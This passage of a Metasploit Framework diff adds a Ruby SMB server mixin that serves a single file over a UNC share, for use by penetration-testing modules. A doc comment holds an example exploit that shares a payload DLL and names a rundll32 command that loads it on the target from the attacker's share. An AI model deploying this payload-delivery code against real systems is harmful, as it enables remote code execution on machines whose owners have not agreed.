of the service. + # @return [String] service_name the name of the service. def service_name @service_name ||= datastore['SERVICE_NAME'] @service_name ||= Rex::Text.rand_text_alpha(8) @@ -44,7 +44,7 @@ module Exploit::Remote::SMB::Psexec # Retrieve the SERVICE_DISPLAY_NAME option, generate a random # one if not already set. # - # @return service_display_name [String] the display name of the service. + # @return [String] the display name of the service. def display_name @display_name ||= datastore['SERVICE_DISPLAY_NAME'] @display_name ||= Rex::Text.rand_text_alpha(16) @@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Psexec # Retrieve the SERVICE_DESCRIPTION option # - # @return service_description [String] the service description. + # @return [String] the service description. def service_description @service_description ||= datastore['SERVICE_DESCRIPTION'] end diff --git a/lib/msf/core/exploit/smb/server.rb b/lib/msf/core/exploit/smb/server.rb new file mode 100644 index 0000000000..3efb46ff57 --- /dev/null +++ b/lib/msf/core/exploit/smb/server.rb @@ -0,0 +1,156 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB + # This mixin provides a minimal SMB server + module Server + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::NTLM + CONST = ::Rex::Proto::SMB::Constants + CRYPT = ::Rex::Proto::SMB::Crypt + UTILS = ::Rex::Proto::SMB::Utils + XCEPT = ::Rex::Proto::SMB::Exceptions + EVADE = ::Rex::Proto::SMB::Evasions + + def initialize(info = {}) + super + + deregister_options('SSL', 'SSLCert') + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def on_client_connect(client) + # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") + smb_conn(client) + end + + def on_client_data(client) + # print_status("New data from #{client.peerhost}:#{client.peerport}") + smb_recv(client) + true + end + + def on_client_close(client) + smb_stop(client) + end + + def smb_conn(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} + end + + def smb_stop(c) + @state.delete(c) + end + + def smb_recv(c) + smb = @state[c] + smb[:data] ||= '' + smb[:data] << c.get_once + + while(smb[:data].length > 0) + + return if smb[:data].length < 4 + + plen = smb[:data][2,2].unpack('n')[0] + + return if smb[:data].length < plen+4 + + buff = smb[:data].slice!(0, plen+4) + + pkt_nbs = CONST::NBRAW_PKT.make_struct + pkt_nbs.from_s(buff) + + # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") + + # Check for a NetBIOS name request + if (pkt_nbs.v['Type'] == 0x81) + # Accept any name they happen to send + + host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') + host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') + + smb[:nbdst] = host_dst + smb[:nbsrc] = host_src + + # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") + c.write("\x82\x00\x00\x00") + next + end + + + # + # TODO: Support AndX parameters + # + + + # Cast this to a generic SMB structure + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + + # Only response to requests, ignore server replies + if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) + print_status("Ignoring server response from #{smb[:name]}") + next + end + + cmd = pkt['Payload']['SMB'].v['Command'] + begin + smb_cmd_dispatch(cmd, c, buff) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") + next + end + end + end + + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + print_status("Received command #{cmd} from #{smb[:name]}") + end + + def smb_set_defaults(c, pkt) + smb = @state[c] + pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i + pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i + pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i + pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i + end + + def smb_error(cmd, c, errorclass, esn = false) + # 0xc0000022 = Deny + # 0xc000006D = Logon_Failure + # 0x00000000 = Ignore + pkt = CONST::SMB_BASE_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = cmd + pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE + if esn + pkt['Payload']['SMB'].v['Flags2'] = + CONST::FLAGS2_UNICODE_STRINGS + + CONST::FLAGS2_EXTENDED_SECURITY + + CONST::FLAGS2_32_BIT_ERROR_CODES + + CONST::FLAGS2_LONG_PATH_COMPONENTS + else + pkt['Payload']['SMB'].v['Flags2'] = + CONST::FLAGS2_UNICODE_STRINGS + + CONST::FLAGS2_32_BIT_ERROR_CODES + + CONST::FLAGS2_LONG_PATH_COMPONENTS + end + pkt['Payload']['SMB'].v['ErrorClass'] = errorclass + c.put(pkt.to_s) + end + end + end + +end + diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb new file mode 100644 index 0000000000..b23c0ebdac --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -0,0 +1,303 @@ +# -*- coding: binary -*- +require 'rex/socket' +require 'rex/proto/smb' +require 'rex/text' +require 'rex/logging' +require 'rex/struct2' +require 'rex/proto/smb/constants' +require 'rex/proto/smb/utils' +require 'rex/proto/dcerpc' + +module Msf + module Exploit::Remote::SMB::Server + # This mixin provides a minimal SMB server sharing an UNC resource. At + # this moment it is capable to share just one file. And the file should + # live in the root folder "\\". + # + # @example Use it from an Auxiliary module + # require 'msf/core' + # + # class Metasploit3 < Msf::Auxiliary + # + # include Msf::Exploit::Remote::SMB::Server::Share + # + # def initialize + # super( + # 'Name' => 'SMB File Server', + # 'Description' => %q{ + # This module provides a SMB File Server service + # }, + # 'Author' => + # [ + # 'Matthew Hall', + # 'juan vazquez' + # ], + # 'License' => MSF_LICENSE, + # 'Actions' => + # [ + # ['Service'] + # ], + # 'PassiveActions' => + # [ + # 'Service' + # ], + # 'DefaultAction' => 'Service' + # ) + # end + # + # def run + # print_status("Starting SMB Server on #{unc}...") + # exploit + # end + # + # def primer + # print_status("Primer...") + # self.file_contents = 'METASPLOIT' + # end + # end + # + # @example Use it from an Exploit module + # require 'msf/core' + # + # class Metasploit3 < Msf::Exploit::Remote + # Rank = ExcellentRanking + # + # include Msf::Exploit::EXE + # include Msf::Exploit::Remote::SMB::Server::Share + # + # def initialize(info={}) + # super(update_info(info, + # 'Name' => "Example Exploit", + # 'Description' => %q{ + # Example exploit, the Server shares a DLL embedding the payload. A session + # can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from + # from the target. + # }, + # 'License' => MSF_LICENSE, + # 'Author' => + # [ + # 'Matthew Hall', + # 'juan vazquez' + # ], + # 'References' => + # [ + # ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074'] + # ], + # 'Payload' => + # { + # 'Space' => 2048, + # 'DisableNops' => true + # }, + # 'Platform' => 'win', + # 'Targets' => + # [ + # ['Windows XP SP3 / Windows 2003 SP2', {}], + # ], + # 'Privileged' => false, + # 'DisclosureDate' => "Mar 02 2015", + # 'DefaultTarget' => 0)) + # + # register_options( + # [ + # OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll']) + # ], self.class) + # + # deregister_options('FILE_CONTENTS') + # end + # + # def primer + # self.file_contents = generate_payload_dll + # print_status("File available on #{unc}...") + # end + # end + module Share + require 'msf/core/exploit/smb/server/share/command' + require 'msf/core/exploit/smb/server/share/information_level' + + include Msf::Exploit::Remote::SMB::Server::Share::Command::Close + include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate + include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2 + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2 + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query + + include Msf::Exploit::Remote::SMB::Server + + FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE + + FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS | + CONST::FLAGS2_EXTENDED_SECURITY | + CONST::FLAGS2_32_BIT_ERROR_CODES | + CONST::FLAGS2_LONG_PATH_COMPONENTS + + CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS | + CONST::CAP_LARGE_WRITEX | + CONST::CAP_LARGE_READX | + CONST::CAP_PASSTHRU | + CONST::CAP_DFS | + CONST::CAP_NT_FIND | + CONST::CAP_LOCK_AND_READ | + CONST::CAP_LEVEL_II_OPLOCKS | + CONST::CAP_STATUS32 | + CONST::CAP_RPC_REMOTE_APIS | + CONST::CAP_NT_SMBS | + CONST::CAP_LARGE_FILES | + CONST::CAP_UNICODE | + CONST::CAP_RAW_MODE + + CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS | + CONST::SMB_WRITE_ACCESS | + CONST::SMB_APPEND_ACCESS | + CONST::SMB_READ_EA_ACCESS | + CONST::SMB_WRITE_EA_ACCESS | + CONST::SMB_EXECUTE_ACCESS | + CONST::SMB_DELETE_CHILD_ACCESS | + CONST::SMB_READ_ATTRIBUTES_ACCESS | + CONST::SMB_WRITE_ATTRIBUTES_ACCESS | + CONST::SMB_DELETE_ACCESS | + CONST::SMB_READ_CONTROL_ACCESS | + CONST::SMB_WRITE_DAC_ACCESS | + CONST::SMB_WRITE_OWNER_ACCESS | + CONST::SMB_SYNC_ACCESS + + TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS | + CONST::SMB_READ_EA_ACCESS | + CONST::SMB_EXECUTE_ACCESS | + CONST::SMB_READ_ATTRIBUTES_ACCESS | + CONST::SMB_READ_CONTROL_ACCESS | + CONST::SMB_SYNC_ACCESS + + # @!attribute share + # @return [String] The share portion of the provided UNC. + attr_accessor :share + # @!attribute folder_name + # @return [String] The folder where the provided file lives. + attr_accessor :folder_name + # @!attribute file_name + # @return [String] The file name of the provided UNC. + attr_accessor :file_name + # @!attribute hi + # @return [Fixnum] The high 4 bytes for the file 'created time'. + attr_accessor :hi + # @!attribute lo + # @return [Fixnum] The low 4 bytes for the file 'created time'. + attr_accessor :lo + # @!attribute file_contents + # @return [String] The contents of the provided file + attr_accessor :file_contents + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('SHARE', [ false, 'Share (Default Random)']), + OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']), + OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']), + OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)']) + ], Msf::Exploit::Remote::SMB::Server::Share) + end + + # Setups the server configuration. + def setup + super + + self.folder_name = datastore['FOLDER_NAME'] + self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3)) + self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3)) + + t = Time.now.to_i + self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t) + + # The module has an opportunity to set up the file contents in the "primer callback" + if datastore['FILE_CONTENTS'] + File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read } + else + self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150)) + end + end + + # Builds the UNC Name for the shared file + def unc + if folder_name + path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}" + else + path = "\\\\#{srvhost}\\#{share}\\#{file_name}" + end + + path + end + + # Builds the server address. + # + # @return [String] The server address. + def srvhost + datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] + end + + # New connection handler, executed when there is a new conneciton. + # + # @param c [Socket] The client establishing the connection. + # @return [Hash] The hash with the client data initialized. + def smb_conn(c) + @state[c] = { + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + :multiplex_id => rand(0xffff), + :process_id => rand(0xffff), + :file_id => 0xdead, + :dir_id => 0xbeef + } + end + + # Main dispatcher function. Takes the client data and performs a case switch + # on the command (e.g. Negotiate, Session Setup, Read file, etc.) + # + # @param cmd [Fixnum] The SMB Command requested. + # @param c [Socket] The client to answer. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + #Record the IDs + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + case cmd + when CONST::SMB_COM_NEGOTIATE + return smb_cmd_negotiate(c, buff) + when CONST::SMB_COM_SESSION_SETUP_ANDX + word_count = pkt['Payload']['SMB'].v['WordCount'] + if word_count == 0x0d # Share Security Mode sessions + return smb_cmd_session_setup_andx(c, buff) + else + print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ") + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + when CONST::SMB_COM_TRANSACTION2 + return smb_cmd_trans2(c, buff) + when CONST::SMB_COM_NT_CREATE_ANDX + return smb_cmd_nt_create_andx(c, buff) + when CONST::SMB_COM_READ_ANDX + return smb_cmd_read_andx(c, buff) + when CONST::SMB_COM_CLOSE + return smb_cmd_close(c, buff) + else + vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ") + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command.rb b/lib/msf/core/exploit/smb/server/share/command.rb new file mode 100644 index 0000000000..1d6c708be6 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command.rb @@ -0,0 +1,16 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + require 'msf/core/exploit/smb/server/share/command/close' + require 'msf/core/exploit/smb/server/share/command/negotiate' + require 'msf/core/exploit/smb/server/share/command/nt_create_andx' + require 'msf/core/exploit/smb/server/share/command/read_andx' + require 'msf/core/exploit/smb/server/share/command/session_setup_andx' + require 'msf/core/exploit/smb/server/share/command/trans2' + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/close.rb b/lib/msf/core/exploit/smb/server/share/command/close.rb new file mode 100644 index 0000000000..a20aa12b32 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/close.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Close + + # Handles an SMB_COM_CLOSE command, used by the client to close an instance + # of an object associated with a valid FID. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_close(c, buff) + send_close_res(c) + end + + # Builds and sends an SMB_COM_CLOSE response. + # + # @param c [Socket] The client to answer. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_close_res(c) + pkt = CONST::SMB_CLOSE_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT + + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/negotiate.rb b/lib/msf/core/exploit/smb/server/share/command/negotiate.rb new file mode 100644 index 0000000000..8af877439c --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/negotiate.rb @@ -0,0 +1,90 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Negotiate + + # Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an + # SMB connection between the client and the server. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_negotiate(c, buff) + pkt = CONST::SMB_NEG_PKT.make_struct + pkt.from_s(buff) + + dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) + dialect = dialects.index("NT LM 0.12") || dialects.length-1 + + send_negotitate_res(c, { + dialect: dialect, + security_mode: CONST::NEG_SECURITY_PASSWORD, + max_mpx: 50, + max_vcs: 1, + max_buff: 4356, + max_raw: 65536, + server_time_zone: 0, + capabilities: CAPABILITIES, + key_length: 8, + key: Rex::Text.rand_text_hex(8) + }) + end + + # Builds and sends an SMB_COM_CLOSE response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values. + # @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request. + # @option opts [Fixnum] :security_mode Security modes supported or required by the server. + # @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports. + # @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server. + # @option opts [Fixnum] :max_buff Largest SMB message that the server can handle. + # @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses. + # @option opts [Fixnum] :server_time_zone The server's time zone. + # @option opts [Fixnum] :capabilities The server capability indicators. + # @option opts [Fixnum] :key_length The challenge length. + # @option opts [String] :key The challenge. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_negotitate_res(c, opts = {}) + dialect = opts[:dialect] || 0 + security_mode = opts[:security_mode] || 0 + max_mpx = opts[:max_mpx] || 0 + max_vcs = opts[:max_vcs] || 0 + max_buff = opts[:max_buff] || 0 + max_raw = opts[:max_raw] || 0 + server_time_zone = opts[:server_time_zone] || 0 + capabilities = opts[:capabilities] || 0 + key_length = opts[:key_length] || 0 + key = opts[:key] || '' + + pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT + pkt['Payload'].v['Dialect'] = dialect + pkt['Payload'].v['SecurityMode'] = security_mode + pkt['Payload'].v['MaxMPX'] = max_mpx + pkt['Payload'].v['MaxVCS'] = max_vcs + pkt['Payload'].v['MaxBuff'] = max_buff + pkt['Payload'].v['MaxRaw'] = max_raw + pkt['Payload'].v['SystemTimeLow'] = lo + pkt['Payload'].v['SystemTimeHigh'] = hi + pkt['Payload'].v['ServerTimeZone'] = server_time_zone + pkt['Payload'].v['SessionKey'] = 0 + pkt['Payload'].v['Capabilities'] = capabilities + pkt['Payload'].v['KeyLength'] = key_length + pkt['Payload'].v['Payload'] = key + + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb new file mode 100644 index 0000000000..a21828cffa --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb @@ -0,0 +1,110 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module NtCreateAndx + + # Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and + # open a new file. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_nt_create_andx(c, buff) + smb = @state[c] + pkt = CONST::SMB_CREATE_PKT.make_struct + pkt.from_s(buff) + + payload = (pkt['Payload'].v['Payload']).downcase + payload.gsub!(/^[\x00]*/, '') # delete padding + payload = Rex::Text.ascii_safe_hex(payload) + payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars + + if payload.nil? || payload.empty? + payload = file_name + end + + if payload.ends_with?(file_name.downcase) + vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ") + fid = smb[:file_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL + eof = file_contents.length + is_dir = 0 + elsif folder_name && payload.ends_with?(folder_name.downcase) + fid = smb[:dir_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + eof = 0 + is_dir = 1 + elsif payload == "\\" + fid = smb[:dir_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + eof = 0 + is_dir = 1 + else + # Otherwise send not found + vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found") + return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_nt_create_andx_res(c, { + file_id: fid, + attributes: attribs, + end_of_file_low: eof, + is_directory: is_dir, + alloc_low: 0x100000 + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum>}] Response custom values. + # @option opts [Fixnum] :file_id A FID representing the file or directory created or opened. + # @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory. + # @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes) + # @option opts [Fixnum] :is_directory Indicates if the FID represents a directory. + # @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_nt_create_andx_res(c, opts = {}) + file_id = opts[:file_id] || 0 + attributes = opts[:attributes] || 0 + end_of_file_low = opts[:end_of_file_low] || 0 + is_directory = opts[:is_directory] || 0 + alloc_low = opts[:alloc_low] || 0 + + pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND + pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened + pkt['Payload'].v['CreateTimeLow'] = lo + pkt['Payload'].v['CreateTimeHigh'] = hi + pkt['Payload'].v['AccessTimeLow'] = lo + pkt['Payload'].v['AccessTimeHigh'] = hi + pkt['Payload'].v['WriteTimeLow'] = lo + pkt['Payload'].v['WriteTimeHigh'] = hi + pkt['Payload'].v['ChangeTimeLow'] = lo + pkt['Payload'].v['ChangeTimeHigh'] = hi + pkt['Payload'].v['Attributes'] = attributes + pkt['Payload'].v['AllocLow'] = alloc_low + pkt['Payload'].v['AllocHigh'] = 0 + pkt['Payload'].v['EOFLow'] = end_of_file_low + pkt['Payload'].v['EOFHigh'] = 0 + pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK + pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have + pkt['Payload'].v['IsDirectory'] = is_directory + pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/read_andx.rb b/lib/msf/core/exploit/smb/server/share/command/read_andx.rb new file mode 100644 index 0000000000..b1398456d5 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/read_andx.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module ReadAndx + + # Handles an SMB_COM_READ_ANDX command, used by the client to read data from a + # file. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_read_andx(c, buff) + pkt = CONST::SMB_READ_PKT.make_struct + pkt.from_s(buff) + + offset = pkt['Payload'].v['Offset'] + length = pkt['Payload'].v['MaxCountLow'] + + send_read_andx_res(c, { + data_len_low: length, + byte_count: length, + data: file_contents[offset, length] + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :data_len_low The length of the file data sent back. + # @option opts [Fixnum] :byte_count The length of the file data sent back. + # @option opts [String] :data The bytes read from the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_read_andx_res(c, opts = {}) + data_len_low = opts[:data_len_low] || 0 + byte_count = opts[:byte_count] || 0 + data = opts[:data] || '' + + pkt = CONST::SMB_READ_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND + pkt['Payload'].v['Remaining'] = 0xffff + pkt['Payload'].v['DataLenLow'] = data_len_low + pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH + pkt['Payload'].v['DataLenHigh'] = 0 + pkt['Payload'].v['Reserved3'] = 0 + pkt['Payload'].v['Reserved4'] = 0x0a + pkt['Payload'].v['ByteCount'] = byte_count + pkt['Payload'].v['Payload'] = data + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb b/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb new file mode 100644 index 0000000000..8d36e29521 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb @@ -0,0 +1,87 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + # @todo Add support to only allow session setup against the configured shared resource + module SessionSetupAndx + + # Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_session_setup_andx(c, buff) + tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct + tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT + tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND + tree_connect_response.v['AndXReserved'] = 0 + tree_connect_response.v['AndXOffset'] = 0 + tree_connect_response.v['OptionalSupport'] = 1 + tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS + tree_connect_response.v['GuestAccessRights'] = 0 + tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00" + + data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature + Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature + Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature + + send_session_setup_andx_res(c, { + action: CONST::SMB_SETUP_GUEST, + data: data, + andx: CONST::SMB_COM_TREE_CONNECT_ANDX, + andx_offset: 96, + andx_command: tree_connect_response + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values. + # @option opts [Fixnum] :action SMB Configuration result. + # @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start + # of the WordCount field in the next SMBCommand. + # @option opts [Fixnum] :reserved Reserved field. + # @option opts [Fixnum] :andx The command code for the next SMB Command in the packet. + # @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response. + # @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_session_setup_andx_res(c, opts = {}) + action = opts[:action] || 0 + andx_offset = opts[:andx_offset] || 0 + reserved = opts[:reserved] || 0 + andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND + data = opts[:data] || '' + andx_command = opts[:andx_command] || nil + + pkt = CONST::SMB_SETUP_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = andx + pkt['Payload'].v['Reserved1'] = reserved + pkt['Payload'].v['AndXOffset'] = andx_offset + pkt['Payload'].v['Action'] = action + 